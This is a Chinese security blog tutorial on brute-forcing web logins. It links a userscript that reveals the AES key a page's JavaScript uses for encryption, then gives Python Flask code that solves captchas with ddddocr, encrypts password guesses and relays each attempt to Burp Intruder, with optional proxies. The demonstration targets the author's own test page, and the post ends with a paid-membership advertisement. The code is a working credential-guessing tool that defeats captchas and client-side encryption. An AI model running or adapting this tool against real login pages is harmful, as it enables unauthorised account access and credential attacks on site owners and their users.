啰啰嗦嗦
北京时间2023-03-12 07:05:32,天刚蒙蒙亮。窗外传来工地哒哒的"马蹄声",懒觉是睡不成了。脑子里闪过上次开源的前端Url抓取插件,没有考虑到实际生产问题,翻车了!而后我对脚本进行了二次优化,css排版已得到一定的改良,这次附上gayhub地址:
https://github.com/Captain0X/HunterUrls
正文
作为一名命途多舛的脚本小子,时常面临着满脑子骚操作,洞却挖不到的尴尬局面,是人性的扭曲还是道德的沦丧?欢迎收看今晚20点走近科学之––《脚本小子の疑惑》
噢,扯远了!
既然都挖不到洞,干脆把挖洞姿势公布出来,让师傅们去把挖洞姿势发扬光大,那么结局就是这样:
我 → 公开姿势 → 师傅们 → 拿下漏洞
等于
我 → 拿下漏洞
嗯~~~~~~骚话打住,开工!
在安全测试过程中,时常遇到js加密数据,这是一件令人掉头发的事情。面对诸多出洞的不确定性和追求挖洞的效率问题,许多人会只直接放弃逆向加密算法,转战下一个突破点。但是,挖洞本身不就是在不确定性中寻找确定性吗?我的想法是,别人无法到达的地方,便是突破的最优选择。
这次推荐的是整套爆破装备,从js逆向到验证码ocr识别一把嗦!
js加密定位
1.安装谷歌油猴插件
插件下载地址:
https://chrome.google.com/webstore/detail/tampermonkey/dhdgffkkebhmkfjojejmpbldmpobfkfo
2.新建脚本
3.把github的js代码粘贴进去,代码地址:
https://github.com/Captain0X/hacker_tools/blob/main/crack_encrypt.js
这些代码来自于一名我不认识的大佬,是我同事发给我的,非常感谢这位不知名的大佬,如涉及侵权,请私信联系我删除,谢谢。
4.启动脚本
5.打开目标:https://login.captainxu.repl.co/
这是我随便敲的一个简约登录页面,密码使用AES ECB模式进行加密,打开F12调试器,注意观察console的输出,输入账号密码
6.此时看到console输出了加密算法名称和密钥,是不是1秒出结果?是不是很丝滑?
Tips:平时不需要用到这个脚本时请关闭脚本,否则会干扰正常的登录请求。
这就完了?且慢!既然把登录都搞了,这不顺带爆淬(cui第四声)一顿验证码?
可拷,非常可拷~
作为脚本小子,只有站在巨人的肩膀上,才能看得更远。这次使用鼎鼎大名的验证码识别依赖库:ddddocr。此前已经有师傅把它封装成burpsuite插件,我就开新路子吧。
进阶
首先使用python Flask快速封装加密算法和图片验证模块,做一个小型的爆破接口,高度自定义的模块,灵活运用,如有条件的师傅可搭配代理Ip,开挂模式,专治各种水土不服的登录页面!在此我只写爆破接口雏形代码,由于加密算法种类和模式较多,考虑到灵活性问题,我就不展开了。大家要是不懂如何将js的算法转换成python的算法,我给大家安排了私人助手。
助手领取地址→
https://chat.openai.com(需要科学上网才能访问)
脚本思路
以下内容属于python代码部分,需要具备基本的代码能力方能看懂。
首先你要自己实现python加密算法,然后返回加密结果给登录请求函数。
分析测试页面的登录请求流程:
1.创建请求会话
2.获取验证码,识别验证码
3.对密码参数进行加密
4.发起登录请求,将请求结果返回给burpsuite,在Intruder中筛选你的菜
上~~!python代码flask_api.py:
# -*- coding: utf-8 -*-
'''
@author : Captain0X
@time : 2023/3/7 8:54
'''
import base64
import ddddocr
from requests import Session
from Crypto.Cipher import AES
'''
环境要求:python 3.7以上
请安装以下依赖库
pip install pycryptodome==3.9.9
pip install ddddocr
'''
#初始化验证码识别模型
dcr=ddddocr.DdddOcr()
def pkcs7padding(text):
"""明文使用PKCS7填充,padding:凑篇幅的文字 """
need_size = 16
text_length = len(text)
bytes_length = len(text.encode('utf-8'))
padding_size = text_length if (bytes_length == text_length) else bytes_length
padding = need_size - padding_size % need_size
padding_text = chr(padding) * padding
return text + padding_text
def AES_Encryption(secret_key=None,text=None):
if (secret_key is None) or len(secret_key) == 0:
secret_key = "1234567812345678"
text = pkcs7padding(text)
aes = AES.new(secret_key.encode("utf-8"), AES.MODE_ECB)
en_text = aes.encrypt(text.encode('utf-8'))
result = str(base64.b64encode(en_text), encoding='utf-8')
return result
def get_code(sec):
'''获取并识别验证码'''
api="https://login.captainxu.repl.co/code?0.43988416665399943"
img_bytes=sec.get(api).content
code_text=dcr.classification(img_bytes=img_bytes)
print("验证码识别结果:",code_text)
return code_text,sec
def login_encrypt(user, pwd):
# 设置 http和https访问都是用HTTP代理
proxy_url = "http://127.0.0.1:10809"
proxies = {
"http": proxy_url,
"https": proxy_url,
}
sec=Session()
#用代理就开启下面这个代码
# sec.proxies=proxies
sec.headers={'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', 'sec-ch-ua': '"Chromium";v="110", "Not A(Brand";v="24", "Google Chrome";v="110"', 'sec-ch-ua-mobile': '?0', 'sec-ch-ua-platform': '"Windows"', 'sec-fetch-dest': 'document', 'sec-fetch-mode': 'navigate', 'sec-fetch-site': 'same-origin', 'sec-fetch-user': '?1', 'upgrade-insecure-requests': '1', 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36'}
#获取验证码识别结果
code_text,sec=get_code(sec)
#登录接口
api="https://login.captainxu.repl.co/login"
password = AES_Encryption(secret_key="passw00dpassw00d", text=pwd)
data={"username":user,"password":password,"auth_code":code_text}
print(data)
#发起登录请求
resp=sec.post(api,data=data)
#返回请求结果和响应头到burpsuite
return str(resp.headers)+"\n"+resp.text
from flask import Flask, request
app = Flask(__name__)
#定义一个登录接口
@app.route("/login", methods=['GET'])
def call_login():
user = request.args.get("user")
pwd = request.args.get("pwd")
result=login_encrypt(user, pwd)
return result
if __name__ == '__main__':
#本地服务 ip 端口
app.run('127.0.0.1', 5666)
粗略审计整套流程,不过几十行代码。现在在burpsuite构造本地验证码识别接口请求包,参数只有用户名和密码,验证码和加密都封装在本地接口中,无须再做处理,接下来运行一下butpsuite爆破!
启动本地接口服务
2.测试前Repeater发送下数据包是否正常返回
3.启动Intruder
成功登陆!
(完)
如果你是一个长期主义者,欢迎加入我的知识星球,我们一起往前走,每日都会更新,精细化运营,微信识别二维码付费即可加入,如不满意,72 小时内可在 App 内无条件自助退款
前面有同学问我有没优惠券,这里发放100张100元的优惠券,用完今年不再发放